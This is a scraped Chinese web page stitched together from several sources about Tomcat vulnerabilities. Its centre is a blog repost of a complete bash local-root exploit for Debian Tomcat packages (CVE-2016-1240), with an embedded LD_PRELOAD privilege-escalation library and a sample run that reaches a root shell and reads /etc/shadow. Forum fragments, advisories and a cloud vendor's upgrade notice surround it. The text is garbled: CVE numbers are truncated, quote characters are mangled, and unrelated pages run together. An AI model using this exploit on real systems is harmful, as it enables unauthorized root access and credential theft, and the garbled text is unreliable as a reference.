tomcat cve 2017 5648-2016-8735怎么修复

问题对人有帮助,内容完整,我也想知道答案
问题没有实际价值,缺少关键内容,没有改进余地
像Tomcat的补丁如何修补
答案对人有帮助,有参考价值
答案没帮助,是错误的答案,答非所问
不是说了解决办法了吗,升级Tomcat
分享到微博?
Hi,欢迎来到 SegmentFault 技术社区!⊙▽⊙ 在这里,你可以提出编程相关的疑惑,关注感兴趣的问题,对认可的回答投赞同票;大家会帮你解决编程的问题,和你探讨技术更新,为你的回答投上赞同票。
明天提醒我
关闭理由:
删除理由:
忽略理由:
推广(招聘、广告、SEO 等)方面的内容
与已有问题重复(请编辑该提问指向已有相同问题)
答非所问,不符合答题要求
宜作评论而非答案
带有人身攻击、辱骂、仇恨等违反条款的内容
无法获得确切结果的问题
非开发直接相关的问题
非技术提问的讨论型问题
其他原因(请补充说明)
我要该,理由是:8603人阅读
渗透测试(16)
本地提权漏洞
就在各位欢度国庆的时候,Tomcat于10月1日曝出本地提权漏洞CVE-。仅需Tomcat用户低权限,攻击者就能利用该漏洞获取到系统的ROOT权限。而且该漏洞的利用难度并不大,受影响的用户需要特别关注。
Tomcat是个运行在Apache上的应用服务器,支持运行Servlet/JSP应用程序的容器——可以将Tomcat看作是Apache的扩展,实际上Tomcat也可以独立于Apache运行。
漏洞编号:
影响范围:
Tomcat 8 &= 8.0.36-2
Tomcat 7 &= 7.0.70-2
Tomcat 6 &= 6.0.45+dfsg-1~deb8u1
受影响的系统包括Debian、Ubuntu,其他使用相应deb包的系统也可能受到影响。
修复方案:
Debian安全团队已经修复了受影响的包;更新至系统提供的最新版Tomcat包即可。
漏洞概述:
Debian系统的Linux上管理员通常利用apt-get进行包管理,CVE-这一漏洞其问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本:/etc/init.d/tocat*&利用该脚本,可导致攻击者通过低权限的Tomcat用户获得系统root权限!
# Run the catalina.sh script as a daemonset +etouch &$CATALINA_PID& &$CATALINA_BASE&/logs/catalina.outchown $TOMCAT7_USER &$CATALINA_PID& &$CATALINA_BASE&/logs/catalina.out
本地攻击者,作为tomcat用户(比如说,通过web应用的漏洞)若将catalina.out修改为指向任意系统文件的链接,一旦Tomcat init脚本(ROOT权限运行)在服务重启后再次打开catalina.out文件,攻击者就可获取ROOT权限。
#!/bin/bash
BACKDOORSH=&/bin/bash&
BACKDOORPATH=&/tmp/tomcatrootsh&
PRIVESCLIB=&/tmp/privesclib.so&
PRIVESCSRC=&/tmp/privesclib.c&
SUIDBIN=&/usr/bin/sudo&
function cleanexit {
&& &echo -e &\n[+] Cleaning up...&
&& &rm -f $PRIVESCSRC
&& &rm -f $PRIVESCLIB
&& &rm -f $TOMCATLOG
&& &touch $TOMCATLOG
&& &if [ -f /etc/ld.so.preload ]; then
&& &&& &echo -n & /etc/ld.so.preload 2&/dev/null
&& &echo -e &\n[+] Job done. Exiting with code $1 \n&
&& &exit $1
function ctrl_c() {
&&&&&&& echo -e &\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation.&
&& &cleanexit 0
echo -e &\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-\n&
echo -e &Discovered and coded by: \n\nDawid Golunski \n \033[0m&
if [ $# -lt 1 ]; then
&& &echo -e &\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n&
&& &exit 3
if [ &$2& = &-deferred& ]; then
&& &mode=&deferred&
&& &mode=&active&
echo -e &\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`&
id | grep -q tomcat
if [ $? -ne 0 ]; then
&& &echo -e &\n[!] You need to execute the exploit as tomcat user! Exiting.\n&
&& &exit 3
TOMCATLOG=&$1&
if [ ! -f $TOMCATLOG ]; then
&& &echo -e &\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n&
&& &exit 3
echo -e &\n[+] Target Tomcat log file set to $TOMCATLOG&
if [ &$mode& = &deferred& ]; then
&& &rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
&& &if [ $? -ne 0 ]; then
&& &&& &echo -e &\n[!] Couldn't remove the $TOMCATLOG file or create a symlink.&
&& &&& &cleanexit 3
&& &echo -e& &\n[+] Symlink created at: \n`ls -l $TOMCATLOG`&
&& &echo -e& &\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`&
&& &echo -ne &\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot&
&& &echo -ne &\n&&& you'll be able to add arbitrary commands to the file which will get executed with root privileges&
&& &echo -ne &\n&&& at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait
&& &exit 0
trap ctrl_c INT
echo -e &\n[+] Compiling the privesc shared library ($PRIVESCSRC)&
cat &&_solibeof_&$PRIVESCSRC
uid_t geteuid(void) {
&& &static uid_t& (*old_geteuid)();
&& &old_geteuid = dlsym(RTLD_NEXT, &geteuid&);
&& &if ( old_geteuid() == 0 ) {
&& &&& &chown(&$BACKDOORPATH&, 0, 0);
&& &&& &chmod(&$BACKDOORPATH&, 04777);
&& &&& &unlink(&/etc/ld.so.preload&);
&& &return old_geteuid();
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
&& &echo -e &\n[!] Failed to compile the privesc lib $PRIVESCSRC.&
&& &cleanexit 2;
cp $BACKDOORSH $BACKDOORPATH
echo -e &\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`&
if [ -f /etc/ld.so.preload ]; then
&& &echo -e &\n[!] /etc/ld.so.preload already exists. Exiting for safety.&
&& &cleanexit 2
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
&& &echo -e &\n[!] Couldn't remove the $TOMCATLOG file or create a symlink.&
&& &cleanexit 3
echo -e &\n[+] Symlink created at: \n`ls -l $TOMCATLOG`&
echo -ne &\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...&
echo -e& &\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed
while :; do
&& &sleep 0.1
&& &if [ -f /etc/ld.so.preload ]; then
&& &&& &echo $PRIVESCLIB & /etc/ld.so.preload
&& &&& &break;
echo $PRIVESCLIB & /etc/ld.so.preload
echo -e &\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`&
echo -e &\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload&
echo -e &\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`&
echo -e &\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!&
sudo --help 2&/dev/null &/dev/null
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
&& &echo -e &\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`&
&& &echo -e &\n\033[94mPlease tell me you're seeing this too
&& &echo -e &\n[!] Failed to get root&
&& &cleanexit 2
echo -e &\n[+] Executing the rootshell $BACKDOORPATH now! \n&
$BACKDOORPATH -p -c &rm -f /etc/ld.so. rm -f $PRIVESCLIB&
$BACKDOORPATH -p
cleanexit 0
Poc运行示例:
tomcat7@ubuntu:/tmp$ id
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
tomcat7@ubuntu:/tmp$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 16.04 LTS
Release: 16.04
Codename: xenial
tomcat7@ubuntu:/tmp$ dpkg -l | grep tomcat
libtomcat7-java
7.0.68-1ubuntu0.1
Servlet and JSP engine -- core libraries
7.0.68-1ubuntu0.1
Servlet and JSP engine
tomcat7-common
7.0.68-1ubuntu0.1
Servlet and JSP engine -- common files
tomcat7@ubuntu:/tmp$ ./tomcat-rootprivesc-deb.sh /var/log/tomcat7/catalina.out
Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
CVE-2016-1240
Discovered and coded by:
Dawid Golunski
http://legalhackers.com
[+] Starting the exploit in [active] mode with the following privileges:
uid=110(tomcat7) gid=118(tomcat7) groups=118(tomcat7)
[+] Target Tomcat log file set to /var/log/tomcat7/catalina.out
[+] Compiling the privesc shared library (/tmp/privesclib.c)
[+] Backdoor/low-priv shell installed at:
-rwxr-xr-x 1 tomcat7 tomcat7 1037464 Sep 30 22:27 /tmp/tomcatrootsh
[+] Symlink created at:
lrwxrwxrwx 1 tomcat7 tomcat7 18 Sep 30 22:27 /var/log/tomcat7/catalina.out -& /etc/ld.so.preload
[+] Waiting for Tomcat to re-open the logs/Tomcat service restart...
You could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed
[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges:
-rw-r--r-- 1 tomcat7 root 19 Sep 30 22:28 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] The /etc/ld.so.preload file now contains:
/tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root!
[+] Rootshell got assigned root SUID perms at:
-rwsrwxrwx 1 root root 1037464 Sep 30 22:27 /tmp/tomcatrootsh
Please tell me you're seeing this too
[+] Executing the rootshell /tmp/tomcatrootsh now!
tomcatrootsh-4.3# id
uid=110(tomcat7) gid=118(tomcat7) euid=0(root) groups=118(tomcat7)
tomcatrootsh-4.3# whoami
tomcatrootsh-4.3# head -n3 /etc/shadow
root:$6$oaf[cut]:99:7:::
daemon:*:99:7:::
bin:*:99:7:::
tomcatrootsh-4.3# exit
&&相关文章推荐
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:114389次
积分:1280
积分:1280
排名:千里之外
转载:37篇
(2)(2)(7)(2)(2)(1)(4)(8)(5)(6)(2)(1)(2)(1)
(window.slotbydup = window.slotbydup || []).push({
id: '4740881',
container: s,
size: '200,200',
display: 'inlay-fix'Apache Tomcat 远程代码执行漏洞(CVE-)_Linux安全_Linux公社-Linux系统门户网站
你好,游客
Apache Tomcat 远程代码执行漏洞(CVE-)
来源:Linux社区&
作者:Linux
Apache Tomcat 远程代码执行漏洞(CVE-)
发布日期:更新日期:受影响系统:
Apache Group Tomcat 9.0.0.M1 - 9.0.0.M11Apache Group Tomcat 8.5.0 - 8.5.6Apache Group Tomcat 8.0.0.RC1 - 8.0.38Apache Group Tomcat 7.0.0 - 7.0.72Apache Group Tomcat 6.0.0 - 6.0.47
BUGTRAQ& ID: CVE(CAN) ID: Apache Tomcat是一个流行的开源JSP应用服务器程序。Apache Tomcat某些版本在JmxRemoteLifecycleListener的实现上存在安全漏洞,可导致远程代码执行。&*来源:vendor & *&建议:
厂商补丁:Apache Group------------目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:[1] [2] [3] [4]
本文永久更新链接地址:
相关资讯 & & &
& (06月12日)
& (12/13/:23)
& (07月28日)
& (04月18日)
& (11/23/:29)
   同意评论声明
   发表
尊重网上道德,遵守中华人民共和国的各项有关法律法规
承担一切因您的行为而直接或间接导致的民事或刑事法律责任
本站管理人员有权保留或删除其管辖留言中的任意内容
本站有权在网站内转载或引用您的评论
参与本评论即表明您已经阅读并接受上述条款拒绝访问 |
| 百度云加速
请打开cookies.
此网站 () 的管理员禁止了您的访问。原因是您的访问包含了非浏览器特征(3a6ddabf-ua98).
重新安装浏览器,或使用别的浏览器||>>关于Tomcat本地提权漏洞(CVE-)的公告 分享到:
亲爱的金山云用户:
您好!外界安全研究人员发现Tomcat 存在本地权限提升漏洞,该漏洞可使拥有Tomcat低权限的攻击者获得系统 root权限。目前官方已发布修复版本,金山云安全团队强烈建议您检查是否使用了受影响版本的Tomcat,并尽快升级修复。
Tomcat 8.0.36-2 及之前所有版本
Tomcat 7.0.70-2 及之前所有版本
Tomcat 6.0.45+dfsg-1~deb8u1及之前所有版本
RedHat-based系统的Tomcat安装包
目前官方已发布修复版本,建议更新至系统提供的最新版Tomcat包
Debian官方:
Ubuntu官方:
RedHat官方:
金山云漏洞扫描产品(KSI)可针对服务器及web服务进行检测,发现高危漏洞并提供解决方法,同时提供全面、高效的第三方PoC检测。产品现已支持Tomcat指纹检测,开启扫描后您可以直接查看各个服务器的Tomcat版本。旧版控制台使用说明详见
如有问题请及时拨打7×24小时客服电话:400-028-9900,或直接发送邮件至:与我们联系。感谢您对金山云的理解与支持!
北京金山云网络技术有限公司
客服热线:400-028-9900

我要回帖

更多关于 tomcatcve 2017 12616 的文章

 

随机推荐